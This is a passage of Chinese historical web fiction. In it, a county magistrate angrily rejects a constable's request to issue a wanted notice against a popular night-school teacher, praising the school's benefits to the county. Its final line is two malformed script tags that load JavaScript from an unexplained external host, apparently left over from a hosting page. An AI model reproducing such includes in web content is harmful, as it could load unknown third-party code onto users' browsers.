他并非本地人,出身寒门,靠着察举入仕,辗转多年才来到新野任职。为官虽不算十分刚正不阿,没有那种宁折不弯的骨气,却也讲究实务,看重政绩,尤其在意地方教化与民生安定,深知民心向背的重要性。
此刻,他正坐在书案之后,手里拿着一份关于今冬户籍核查的文书细细翻看,眉头微微蹙起,似乎在思索着什么。书房内陈设简单,除了满架的书籍,便是一张书案、几把椅子,空气中弥漫着淡淡的墨香。
“东翁,”文县令的师爷,一位年长些的老儒生,轻手轻脚地走了进来,将那份从县尉府送来的紧急公文,恭敬地放在书案上,“县尉府紧急呈文,言及缉拿要犯之事,请东翁过目定夺。”
文县令“嗯”了一声,放下手中文书,拿起县尉府的呈文,缓缓展开细读。
刚看了几行,他的眉头就紧紧皱了起来。越往下看,脸色越是难看。当看到最后那请求签发通缉令、画影图形、各县协拿的内容时,他终于忍不住,将公文重重拍在案上,发出“啪”的一声脆响,打破了书房的宁静。
“荒谬!简直是捕风捉影,小题大做!”文县令的声音不高,却带着压抑不住的怒气。
侍立在旁的师爷心中一凛,不敢出声,只是垂手侍立。
文县令站起身,在书案后来回踱了两步,脚下的木屐与地板碰撞,发出清脆的声响,与他此刻愤怒的心情形成鲜明对比。
他语气越发不满,声音也提高了几分:“任弋任先生,在本县治下开设夜校,传授识字、算数、乃至一些粗浅的农商之技,已有三年之久!这三年来,本县百姓识字者日渐增多,不少原本目不识丁的农夫,如今都能看懂简单的告示文书;农人懂得了轮作堆肥之法,田地收成较往年提升了不少,百姓的日子也宽裕了些;工匠技艺也因他的指点而有所精进,打造的农具更加好用;就连乡间的邻里纠纷、小额诉讼都减少了许多,盗贼几近绝迹,地方安定了不少!”
“邻县的几位同僚,眼睛都红了又红,多少次派人来游说,许以重利,希望任先生能将夜校迁至他们县境。为本县挽留此贤,本官可是费了不少心思!”他语气之中,带着几分对任弋的认可与惋惜。
他停下脚步,拿起那份公文,再次看了一眼上面罗列的“罪状”,忍不住冷笑一声:“至于那什么‘人民当家作主’之言,本官亦有耳闻。在吾看来,此不过如同古之贤人讲道、儒生议政,阐述一种治国理念罢了!虽惊世骇俗,却并无实际害处!
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">